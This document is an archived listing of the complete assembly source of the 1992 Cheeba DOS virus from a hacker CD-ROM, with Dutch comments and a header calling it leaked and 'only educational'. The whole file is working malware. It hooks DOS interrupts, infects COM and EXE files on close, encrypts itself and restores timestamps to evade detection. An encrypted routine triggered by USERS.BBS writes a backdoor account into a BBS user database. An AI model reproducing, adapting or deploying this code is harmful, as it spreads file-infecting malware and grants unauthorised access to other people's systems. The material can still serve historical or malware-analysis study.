home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / chibacity / tdupdat2.err / TRIDUNKN.ZIP / CHEEBA12.ZIP / CHEEBA.ASM next >
Encoding:
Assembly Source File  |  1992-10-11  |  22.5 KB  |  805 lines

  1. ;*** The author of Cheeba let his source lie around --- so HERE IT IS!!! ***
  2. ; Btw just one thing --- I give it 2 you as long as you don't make a
  3. ; sucking destroying thing... Btw 2 this is of course only educational...
  4. ;-----------------------------------------------------------------------------
  5. ; Naam en password staan +- op lijn 200. Verander de low-version number
  6. ; bij de verschillende versies...
  7. ; Verander verder NIKS aan het virus !!!
  8.  
  9. Com_First:      push cs
  10. S_1:            mov ax,100h
  11. S_2:            push ax
  12.                 mov ax,cs
  13. CodePars:       add ax,0
  14.                 push ax
  15. S_3:            mov ax,offset End_Virus
  16. S_4:            push ax
  17.                 retf
  18.  
  19. VirTitle        db 'CHEEBA Makes Ya High Harmlessly-1.2 F**K THE LAMERS'
  20.  
  21. I21Hooks        db 0
  22.                 dw offset Stop_Prg
  23.                 db 31h
  24.                 dw offset Stop_Prg
  25.                 db 4Ch
  26.                 dw offset Stop_Prg
  27.                 db 4Bh
  28.                 dw offset Start_Prg
  29.                 db 45h
  30.                 dw offset Check_Init
  31.                 db 3Ch
  32.                 dw offset Open_Wrt
  33.                 db 3Dh
  34.                 dw offset Open_Rd
  35.                 db 3Eh
  36.                 dw offset Check_Close
  37.                 db 40h
  38.                 dw offset Check_Vir
  39.  
  40. New_21:         call Rest_Orig_21
  41.                 call Save_Regs
  42.                 cld
  43.                 mov bx,offset I21Hooks
  44. Srch_Fct_Lp:    cmp ah,[bx]
  45.                 jne Wrong_Fct
  46.                 push [bx+1]
  47.                 call Retr_Regs
  48.                 ret
  49. Wrong_Fct:      add bx,3
  50.                 cmp bx,offset New_21
  51.                 jb Srch_Fct_Lp
  52.  
  53. Go_Dos:         call Retr_Regs
  54.                 call Call_Dos
  55. Skip_21:        call Rest_21_Jmp
  56.                 retf 2
  57.  
  58. Call_Dos:       pushf
  59.                 db 09Ah
  60. Org_21_Addr     dw 2 dup (?)
  61.                 ret
  62.  
  63. Org_21_Code     db 5 dup (?)
  64.  
  65. ;*** Fct 45 - check init ***
  66.  
  67. Check_Init:     cmp bx,0D15h
  68.                 jne Go_Dos
  69.                 mov bx,0F0Ch
  70.                 jmp short Skip_21
  71.  
  72. ;*** I21 FCT 3Dh - Open file for read ***
  73.  
  74. Open_Rd:        test al,3
  75.                 jz Go_Dos
  76.                 xchg si,dx
  77. Get_0:          lodsb
  78.                 or al,al
  79.                 jnz Get_0
  80.                 mov cx,0Ah
  81.                 xor bx,bx
  82.                 xor ax,ax
  83.                 cwd        ; Dx = 0
  84. Get_CSum:       dec si
  85.                 rol bx,1
  86.                 mov al,[si]
  87.                 or al,20h
  88.                 xor bl,al
  89.                 add dx,ax
  90.                 loop Get_CSum
  91.                 cmp bx,1AE7h
  92.                 jne Go_Dos
  93.                 cmp dx,3B7h
  94.                 jne Go_Dos
  95.  
  96. Is_Users:       mov word ptr cs:[Save_A_Reg],si
  97.                 mov di,offset Coded
  98. Del_Si:         mov si,word ptr cs:[Save_A_Reg]
  99. Lp_Unc:         lodsb
  100.                 or al,al
  101.                 jz Del_Si
  102.                 or al,20h
  103.                 sub byte ptr cs:[di],al
  104.                 inc di
  105.                 cmp di,offset No_Read
  106.                 jb Lp_Unc
  107.  
  108. Coded:          call Retr_Regs
  109.                 and al,0FEh
  110.                 or al,2
  111.                 call Call_Dos
  112.                 jnc Has_Read
  113.                 jmp No_Read
  114. Has_Read:       pushf
  115.                 call Save_Regs
  116.                 xchg bx,ax
  117.                 mov ah,3Fh
  118.                 mov cx,9Eh
  119.                 mov dx,offset End_Virus
  120.                 call Call_Dos
  121.                 mov dx,[End_Virus+20h]
  122.                 mov cx,[End_Virus+22h]
  123.                 or cx,cx
  124.                 jnz Test_Ok
  125.                 or dx,dx
  126.                 jz No_XS_YET
  127.  
  128. Test_Ok:        mov ax,4200h
  129.                 call Call_Dos
  130.                 mov ah,3Fh
  131.                 mov dx,offset End_Virus+9Eh
  132.                 mov cx,9Eh
  133.                 call Call_Dos
  134.                 cmp ax,cx
  135.                 jnz No_XS_YET
  136.                 cmp byte ptr [End_Virus+9Eh],3
  137.                 jne No_XS_YET
  138.                 test byte ptr [End_Virus+9Eh+77h],1
  139.                 jnz No_XS_YET
  140.                 mov ax,[End_Virus+84h]
  141.                 cmp ax,[End_Virus+9Eh+84h]
  142.                 jne No_XS_YET
  143. J_Less:         jmp Less_Users
  144.  
  145. No_XS_Yet:      mov ax,4202h
  146.                 xor cx,cx
  147.                 cwd   ; Dx = 0
  148.                 call Call_Dos
  149.                 or dx,dx
  150.                 jnz More_Users
  151.                 cmp ax,9Eh*50    ; 50 users of meer
  152.                 jb J_Less
  153.  
  154. More_Users:     mov cx,9Eh
  155.                 div cx
  156.                 or dx,dx
  157.                 jnz J_Less
  158.                 shr ax,1
  159.                 mul cx
  160.                 xchg cx,dx
  161.                 xchg dx,ax
  162.                 mov ax,4200h
  163.                 call Call_Dos
  164. Read_Lp:        mov ah,3Fh
  165.                 mov dx,offset End_Virus+9Eh
  166.                 mov cx,9Eh
  167.                 call Call_Dos
  168.                 cmp ax,cx
  169.                 jne Less_Users
  170.                 test byte ptr [offset End_Virus+9Eh+77h],1 ; Search deleted
  171.                 je Read_Lp
  172.                 mov ax,4201h
  173.                 mov cx,-1
  174.                 mov dx,-9Eh
  175.                 call Call_Dos
  176.                 push dx
  177.                 push ax
  178.                 mov [End_Virus+20h],ax
  179.                 mov [End_Virus+22h],dx
  180.                 mov ax,4200h
  181.                 xor cx,cx
  182.                 cwd  ; dx = 0
  183.                 call Call_Dos
  184.                 mov ah,40h
  185.                 mov cx,9Eh
  186.                 mov dx,offset End_Virus
  187.                 call Call_Dos
  188.                 mov ax,4200h
  189.                 pop dx
  190.                 pop cx
  191.                 call Call_Dos
  192.                 push ds
  193.                 pop es
  194.                 mov al,0
  195.                 mov di,offset End_Virus
  196.                 mov cx,106h-9Eh
  197.                 repz stosb
  198.                 mov ax,2020h
  199.                 mov cx,5
  200. Wrt_20s:        inc di
  201.                 stosw
  202.                 loop Wrt_20s
  203.  
  204. ;HIER STAAN NAAM EN PASSWORD.
  205. ; Naam en password zijn 3 chars, Name = <N1><N2><N3> , Password = <P1><P2><P3>
  206. ; Zijn dus Name = 1F 20 7E, Password = 4D 5A B8
  207. ; Staan zoals hier:
  208. ;
  209. ; mov ..., 0 <N1> <NameLen = 3>
  210. ; ..... 0 <N3> <N2>
  211. ; Password:
  212. ; ..... ,0 <P1> <PassLen = 3>
  213. ; ..... ,0 <P3> <P2>
  214. ;
  215.                 mov word ptr [End_Virus],01F03h
  216.                 mov word ptr [End_Virus+2],07E20h
  217.                 mov word ptr [End_Virus+3Eh],04D03h
  218.                 mov word ptr [End_Virus+40h],0B85Ah
  219.  
  220.  
  221.                 mov ah,40h
  222.                 mov cx,9Eh
  223.                 mov dx,offset End_Virus
  224.                 call Call_Dos
  225.  
  226. Less_Users:     call Go_Beg_File
  227.                 popf
  228.                 call Retr_Regs
  229. No_Read:        pushf
  230.                 push ax
  231.                 push si
  232.                 push di
  233.                 push ds
  234.                 mov di,offset Coded
  235. Del_Si_2:       mov si,word ptr cs:[Save_A_Reg]
  236. Lp_Unc_2:       lodsb
  237.                 or al,al
  238.                 jz Del_Si_2
  239.                 or al,20h
  240.                 add byte ptr cs:[di],al
  241.                 inc di
  242.                 cmp di,offset No_Read
  243.                 jb Lp_Unc_2
  244.  
  245.                 pop ds
  246.                 pop di
  247.                 pop si
  248.                 pop ax
  249.                 popf
  250.  
  251.                 call Rest_21_Jmp
  252.                 retf 2
  253.  
  254. ;*** I 21 FCT 3C - Rewrite file ***
  255.  
  256. Open_Wrt:       cld
  257.                 test byte ptr cs:[Flags],1 ; Already sure-exec opened?
  258.                 jnz J_JD_2
  259.  
  260.                 push ds
  261.                 pop es
  262.                 xchg di,dx
  263.                 mov al,0
  264.                 mov cx,-1
  265.                 repnz scasb
  266.                 mov ax,[di-5]
  267.                 or ax,2020h
  268.                 cmp ax,'c.'
  269.                 jne No_Com
  270.                 mov ax,[di-3]
  271.                 or ax,2020h
  272.                 cmp ax,'mo'
  273.                 jne Open_It
  274. Sure_Exec:      or byte ptr cs:[Flags],1
  275. Open_It:        call Retr_Regs
  276.                 call Call_Dos
  277.                 jc Not_Opened
  278.                 mov word ptr cs:[Exec_Handle],ax
  279. Not_Opened:     call Rest_21_Jmp
  280.                 retf 2
  281.  
  282. No_Com:         cmp ax,'e.' ; '.E'?
  283.                 jne Open_It
  284.  
  285.                 mov ax,[di-3]
  286.                 or ax,2020h
  287.                 cmp ax,'ex'   ; .. 'XE'?
  288.                 je Sure_Exec
  289. OJ_2:           jmp short Open_It
  290.  
  291. ;*** I21 FCT 3E - Infect on close if orig. prog has written too ***
  292.  
  293. Check_Close:    push cs
  294.                 pop ds
  295.                 cmp bx,[Exec_Handle]                                ; Same file?
  296. J_JD_2:         jne JD_2
  297.                 mov word ptr [Exec_Handle],0FFFFh         ; Don't follow anymore
  298.                 call Go_Beg_File                            ; Go to beg. of file
  299.                 mov ah,3Fh                                    ; Read first bytes
  300.                 mov cx,18h
  301.                 mov dx,offset Read_Buf
  302.                 call Call_Dos
  303.                 and byte ptr [Flags],0FBh                         ; Flag for COM
  304.                 cmp word ptr [Read_Buf],'ZM'                         ; MZ - Exe?
  305.                 je Infect_Exe
  306.                 test byte ptr [Flags],1                             ; Sure exec?
  307.                 jnz Infect_Com
  308.                 and byte ptr cs:[Flags],0FEh
  309. JD_2:           jmp Go_Dos
  310.  
  311. Infect_Exe:     or byte ptr [Flags],4                             ; Flag for EXE
  312.                 mov ax,[Read_Buf+16h]
  313.                 mov [Exe_CS+1],ax
  314.                 mov ax,[Read_Buf+14h]
  315.                 mov [Exe_IP+1],ax
  316.                 cmp ax,offset Init
  317.                 je OJ_2
  318.                 mov ax,[Read_Buf+0Eh]
  319.                 mov [Exe_SS+1],ax
  320.                 mov ax,[Read_Buf+10h]
  321.                 mov [Exe_SP+1],ax
  322. Infect_Com:     and byte ptr [Flags],0FEh
  323.                 cmp word ptr [Read_Buf],0B80Eh
  324.                 je JD_2
  325.                 cmp word ptr [Read_Buf],0BFh
  326.                 je JD_2
  327.  
  328. Not_Inf:        mov ax,4202h                                 ; Go to end of file
  329.                 xor cx,cx
  330.                 cwd ; Dx = 0
  331.                 call Call_Dos
  332.  
  333.                 test byte ptr [Flags],4
  334.                 jz No_Ovl_Test
  335.  
  336.                 push ax                       ; .EXE: Test for internal overlays
  337.                 push dx
  338.                 mov cx,200h
  339.                 div cx
  340.                 cmp dx,[Read_Buf+2]
  341.                 jne Is_Ovl
  342.                 or dx,dx
  343.                 jz No_Corr_Chk
  344.                 inc ax
  345. No_Corr_Chk:    cmp ax,[Read_Buf+4]
  346. Is_Ovl:         pop dx
  347.                 pop ax
  348.                 je No_Ovl_Test
  349.  
  350. JD_3:           jmp short JD_2
  351.  
  352. No_Ovl_Test:    add ax,0Fh                                   ; End in paragraphs
  353.                 adc dx,0
  354.                 and ax,0FFF0h
  355.  
  356.                 mov Org_Fl_Len_Lo,ax
  357.                 mov Org_Fl_Len_Hi,dx
  358.  
  359.                 push ax
  360.                 mov cl,4
  361.                 shr ax,cl
  362.                 mov [CodePars+1],ax
  363.                 or al,al
  364.                 jnz No_Al_0
  365.                 dec al
  366. No_Al_0:        mov byte ptr [offset S_5-1],al
  367.                 pop ax
  368.  
  369.                 push ax
  370.                 push dx
  371.  
  372.                 mov cx,dx                              ; Go to end-in-paragraphs
  373.                 mov dx,ax
  374.                 mov ax,4200h
  375.                 call Call_Dos
  376.  
  377.                 push cs
  378.                 pop es
  379.                 mov si,100h
  380.                 mov di,offset End_Virus
  381.                 mov cx,offset End_Virus-100h
  382.                 mov dl,byte ptr cs:[offset S_5-1]
  383. Code_Lp:        lodsb
  384.                 cmp si,offset Init
  385.                 ja No_Code
  386.                 xor al,dl
  387. No_Code:        stosb
  388.                 loop Code_Lp
  389.  
  390.                 mov ax,5700h
  391.                 call Call_Dos
  392.                 mov Org_Fl_Time,cx
  393.                 mov Org_Fl_Date,dx
  394.  
  395.                 mov ah,40h                          ; Write virus behind program
  396.                 mov cx,offset End_Virus-100h
  397.                 mov dx,offset End_Virus
  398.                 call Call_Dos
  399.  
  400.                 call Go_Beg_File
  401.  
  402.                 mov dx,offset Com_First
  403.                 mov cx,10h
  404.  
  405.                 pop si
  406.                 pop ax
  407.  
  408.                 test byte ptr [Flags],4
  409.                 jz Init_Com
  410.  
  411.                 mov dx,si
  412.                 mov cx,4
  413. Get_CS:         shr dx,1
  414.                 rcr ax,1
  415.                 loop Get_CS
  416.  
  417.                 sub ax,[Read_Buf+8]                              ; - header size
  418.                 sub ax,10h
  419.                 mov [Read_Buf+16h],ax
  420.                 mov [Read_Buf+0Eh],ax
  421.                 mov word ptr [Read_Buf+14h],offset Init
  422.                 mov word ptr [Read_Buf+10h],offset End_Virus+100h
  423.  
  424.                 mov ax,Org_Fl_Len_Lo
  425.                 mov dx,Org_Fl_Len_Hi
  426.  
  427.                 add ax,offset End_Virus-100h
  428.                 adc dx,0
  429.                 mov cx,200h
  430.                 div cx
  431.                 or dx,dx
  432.                 jz No_Corr
  433.                 inc ax
  434. No_Corr:        mov [Read_Buf+2],dx
  435.                 mov [Read_Buf+4],ax
  436.                 mov dx,offset Read_Buf
  437.                 mov cx,18h
  438.  
  439. Init_Com:       mov ah,40h
  440.                 call Call_Dos
  441.  
  442.                 mov ax,5701h
  443.                 mov cx,Org_Fl_Time
  444.                 mov dx,Org_Fl_Date
  445.                 call Call_Dos
  446.  
  447. JD_4:           jmp short JD_3
  448.  
  449.  
  450. ;*** 00 / 31 / 4C: End program ***
  451.  
  452. Stop_Prg:       push ds
  453.                 push bx
  454.                 lds bx,cs:[Jmp_22+1]
  455.                 cli
  456.                 mov byte ptr [bx],0EAh
  457.                 mov word ptr [bx+1],offset Int_22
  458.                 mov word ptr [bx+3],cs
  459.                 sti
  460.                 pop bx
  461.                 pop ds
  462.                 jmp short JD_4
  463.  
  464. Int_22:         call Rest_21_Jmp
  465.                 push cs
  466.                 pop ds
  467.                 les di,dword ptr [Jmp_22+1]
  468.                 mov si,offset Org_22
  469.                 call Move_Bytes
  470.                 call Retr_Regs
  471. Jmp_22:         jmp 0:0
  472.  
  473. Org_22          db 5 dup (?)
  474.  
  475. ;*** Start prog ***
  476.  
  477. Start_Prg:      lds bx,cs:[Jmp_13+1]
  478.                 cli
  479.                 mov byte ptr [bx],0EAh
  480.                 mov word ptr [bx+1],offset Int_13
  481.                 mov word ptr [bx+3],cs
  482.                 sti
  483.                 call Retr_Regs
  484. JD_5:           jmp short JD_4
  485.  
  486. Int_13:         call Rest_21_Jmp
  487.                 push si
  488.                 push di
  489.                 push ds
  490.                 push es
  491.                 push cs
  492.                 pop ds
  493.                 les di,dword ptr [Jmp_13+1]
  494.                 mov si,offset Org_13
  495.                 call Move_Bytes
  496.                 pop es
  497.                 pop ds
  498.                 pop di
  499.                 pop si
  500. Jmp_13:         jmp 0:0
  501.  
  502. Org_13          db 5 dup (?)
  503.  
  504. ;*** Check for string 'iru' (vIRUs) ***
  505.  
  506. Check_Vir:      cmp bx,cs:[Exec_Handle]
  507.                 jne No_Vir
  508.                 sub cx,2
  509.                 jc No_Vir
  510.                 push ds
  511.                 pop es
  512.                 mov di,dx
  513.                 mov al,'i'
  514. Iru_Lp:         repnz scasb
  515.                 jnz No_Vir
  516.                 cmp word ptr [di],'ur'
  517.                 jne Iru_Lp
  518.                 mov word ptr cs:[Exec_Handle],0FFFFh
  519.                 and byte ptr cs:[Flags],0FEh
  520. No_Vir:         jmp short JD_5
  521.  
  522.  
  523. Move_Bytes:     cli
  524.                 cld
  525.                 movsw
  526.                 movsw
  527.                 movsb
  528.                 sti
  529.                 ret
  530.  
  531. Rest_Orig_21:   push si
  532.                 push di
  533.                 push ds
  534.                 push es
  535.                 push cs
  536.                 pop ds
  537.                 mov si,offset Org_21_Code
  538.                 les di,dword ptr [Org_21_Addr]
  539.                 call Move_Bytes
  540.                 pop es
  541.                 pop ds
  542.                 pop di
  543.                 pop si
  544.                 ret
  545.  
  546. Rest_21_Jmp:    push ds
  547.                 push bx
  548.                 lds bx,dword ptr cs:[Org_21_Addr]
  549.                 cli
  550.                 mov byte ptr [bx],0EAh
  551.                 mov word ptr [bx+1],offset New_21
  552.                 mov word ptr [bx+3],cs
  553.                 sti
  554.                 pop bx
  555.                 pop ds
  556.                 ret
  557.  
  558. ;*** Proc: Save regs ***
  559.  
  560. Save_Regs:      mov word ptr cs:[Save_Ds],ds
  561.                 push cs
  562.                 pop ds
  563.                 mov word ptr [Save_Ax],ax
  564.                 mov word ptr [Save_Bx],bx
  565.                 mov word ptr [Save_Cx],cx
  566.                 mov word ptr [Save_Dx],dx
  567.                 mov word ptr [Save_Si],si
  568.                 mov word ptr [Save_Di],di
  569.                 mov word ptr [Save_Es],es
  570.                 ret
  571.  
  572. Retr_Regs:      push cs
  573.                 pop ds
  574.                 mov ax,word ptr [Save_Ax]
  575.                 mov bx,word ptr [Save_Bx]
  576.                 mov cx,word ptr [Save_Cx]
  577.                 mov dx,word ptr [Save_Dx]
  578.                 mov si,word ptr [Save_Si]
  579.                 mov di,word ptr [Save_Di]
  580.                 mov es,word ptr [Save_Es]
  581.                 mov ds,word ptr [Save_Ds]
  582.                 ret
  583.  
  584. Go_Beg_File:    mov ax,4200h
  585.                 xor cx,cx
  586.                 cwd ; dx = 0
  587.                 call Call_Dos
  588.                 ret
  589.  
  590. Exec_Handle     dw 0FFFFh              ; Handle of opened-with-write- exec. file
  591.  
  592. Flags           db (?) ; Flags: 1 = Sure exec (- Maybe data)
  593.                               ; 4 = EXE-file (- COM)
  594.  
  595. Org_Fl_Len_Lo   dw (?)
  596. Org_Fl_Len_Hi   dw (?)
  597.  
  598. Org_Fl_Time     dw (?)
  599. Org_Fl_Date     dw (?)
  600.  
  601. Save_Ax         dw (?)
  602. Save_Bx         dw (?)
  603. Save_Cx         dw (?)
  604. Save_Dx         dw (?)
  605. Save_Si         dw (?)
  606. Save_Di         dw (?)
  607. Save_Ds         dw (?)
  608. Save_Es         dw (?)
  609.  
  610. Save_A_Reg      dw (?)
  611.  
  612. Decoded:        mov word ptr cs:[Save_A_Reg],ds
  613.                 push ax
  614.                 push bx
  615.                 push cx
  616.                 push dx
  617.                 push ds
  618.                 push es
  619.  
  620.                 mov ah,45h
  621.                 mov bx,0D15h
  622.                 int 21h
  623.                 cmp bx,0F0Ch
  624.                 jne N_Y_Inst
  625.                 jmp Jmp_No_Init
  626. N_Y_Inst:       cld
  627.  
  628.                 xor ax,ax
  629.                 mov ds,ax
  630.  
  631.                 mov ax,[88h]                                     ; Save I22 addr
  632.                 mov cs:[Jmp_22+1],ax
  633.                 mov ax,[8Ah]
  634.                 mov cs:[Jmp_22+3],ax
  635.  
  636.                 mov ax,[04Ch]                                    ; Save I13 addr
  637.                 mov cs:[Jmp_13+1],ax
  638.                 mov dx,[04Eh]
  639.                 mov cs:[Jmp_13+3],dx
  640.  
  641.                 mov ah,52h
  642.                 int 21h
  643.                 cmp dx,es:[bx-2]
  644.                 jnb Jmp_No_Init
  645.  
  646.                 push [84h]
  647.                 push [86h]
  648.  
  649.                 push cs
  650.                 pop ds
  651.  
  652.                 push cs
  653.                 pop es
  654.  
  655.                 mov si,offset Com_First
  656.                 mov di,offset Com_Start_2
  657.  
  658. MoveStrt:       lodsw                           ; Other .COM start-up
  659.                 cmp si,offset CodePars+3
  660.                 je No_MS_Lp
  661.                 xchg ax,[di]
  662.                 mov [si-2],ax
  663.                 inc di
  664.                 inc di
  665. No_MS_Lp:       cmp si,offset VirTitle
  666.                 jb MoveStrt
  667.  
  668.                 xor byte ptr [Init],1
  669.                 xor byte ptr [S_9],6Ch
  670.                 xor byte ptr [Decode_Lp+2],1
  671.                 xor byte ptr [S_5],1
  672.                 xor byte ptr [S_6+1],1
  673.                 xor byte ptr [S_7],7
  674.                 xor byte ptr [S_8],6Ch ; Nop <> CLD
  675.  
  676.                 mov ax,word ptr cs:[Save_A_Reg]
  677.                 dec ax
  678. MCB_Loop:       mov ds,ax
  679.                 cmp byte ptr [0],'Z'
  680.                 je Found_End_MCB
  681.                 add ax,[3]
  682.                 inc ax
  683.                 cmp ah,0A0h
  684.                 jb MCB_Loop
  685.                 add sp,4
  686. Jmp_No_Init:    jmp short No_Init
  687.  
  688. Found_End_MCB:  mov bx,[3]
  689. Here_Pars:      sub bx,100h ; Filled in init-proc.
  690.                 jc No_Init
  691.                 mov [3],bx
  692.                 add ax,bx
  693.                 inc ax
  694.                 mov ds,cs:[Save_A_Reg]
  695.                 mov word ptr [2],ax
  696.                 sub ax,10h
  697.                 mov cx,offset End_Virus-100h
  698.                 push cs
  699.                 pop ds
  700.                 mov es,ax
  701.                 mov si,100h
  702.                 mov di,si
  703.                 repz movsb
  704.  
  705.                 pop ds
  706.                 pop si
  707.  
  708.                 mov es:[Org_21_Addr],si
  709.                 mov es:[Org_21_Addr+2],ds
  710.  
  711.                 mov di,offset Org_21_Code
  712.  
  713.                 call Move_Bytes
  714.  
  715.                 cli
  716.                 mov byte ptr [si-5],0EAh
  717.                 mov word ptr [si-4],offset New_21
  718.                 mov word ptr [si-2],es
  719.                 sti
  720.  
  721.                 lds si,cs:[Jmp_22+1]
  722.                 mov di,offset Org_22
  723.  
  724.                 call Move_Bytes
  725.  
  726.                 lds si,cs:[Jmp_13+1]
  727.                 mov di,offset Org_13
  728.  
  729.                 call Move_Bytes
  730.  
  731. No_Init:        pop es
  732.                 pop ds
  733.                 pop dx
  734.                 pop cx
  735.                 pop bx
  736.                 pop ax
  737.  
  738.                 test cs:Flags,4
  739.                 jnz Rest_Stack
  740.  
  741.                 push ds
  742.                 push cs
  743.                 pop ds
  744.                 mov cx,10h
  745.                 mov si,offset Read_Buf
  746.                 mov di,100h
  747.                 repz movsb
  748.                 pop ds
  749.                 retf
  750.  
  751. Rest_Stack:     mov ax,ds       ; Stack restore for .EXE files
  752. Exe_SS:         add ax,0
  753.                 add ax,10h
  754.                 cli
  755.                 mov ss,ax
  756. Exe_SP:         mov sp,0
  757.                 sti
  758.                 mov ax,ds
  759. Exe_Cs:         add ax,0
  760.                 add ax,10h
  761.                 push ax
  762. Exe_Ip:         mov ax,0
  763.                 push ax
  764.                 retf
  765.  
  766. Com_Start_2:    mov di,100h
  767.                 push cs
  768.                 mov ax,cs
  769.                 push di
  770.                 db 05h                  ; Add Ax,xxxx
  771.                 mov di,offset Init
  772.                 push ax
  773.                 push di
  774.                 retf
  775.  
  776. ;*** INIT - ONLY DECODE - PART ***
  777.  
  778. Init:           mov si,offset Com_First
  779. S_9:            cld
  780. Decode_Lp:      xor byte ptr cs:[si],0
  781. S_5:            inc si
  782. S_6:            cmp si,offset Init
  783. S_7:            jne Decode_Lp
  784. S_8:            nop
  785.                 jmp Decoded
  786.  
  787. Read_Buf        db 0CDh,20h
  788.                 db 16h dup (?)
  789.  
  790. End_Virus:      cld
  791.                 mov word ptr [S_3+1],offset Init
  792.            mov word ptr [Here_Pars+2],(((offset End_Virus-101h) shr 4) +1) shl 1
  793.                 mov di,offset Coded
  794. New_Us:         mov si,offset User_St
  795. B_V_CLp:        lodsb
  796.                 or al,al
  797.                 jz New_Us
  798.                 add [di],al
  799.                 inc di
  800.                 cmp di,offset No_Read
  801.                 jb B_V_CLp
  802.                 jmp Init
  803.  
  804. User_St         db 'users.bbs',0
  805.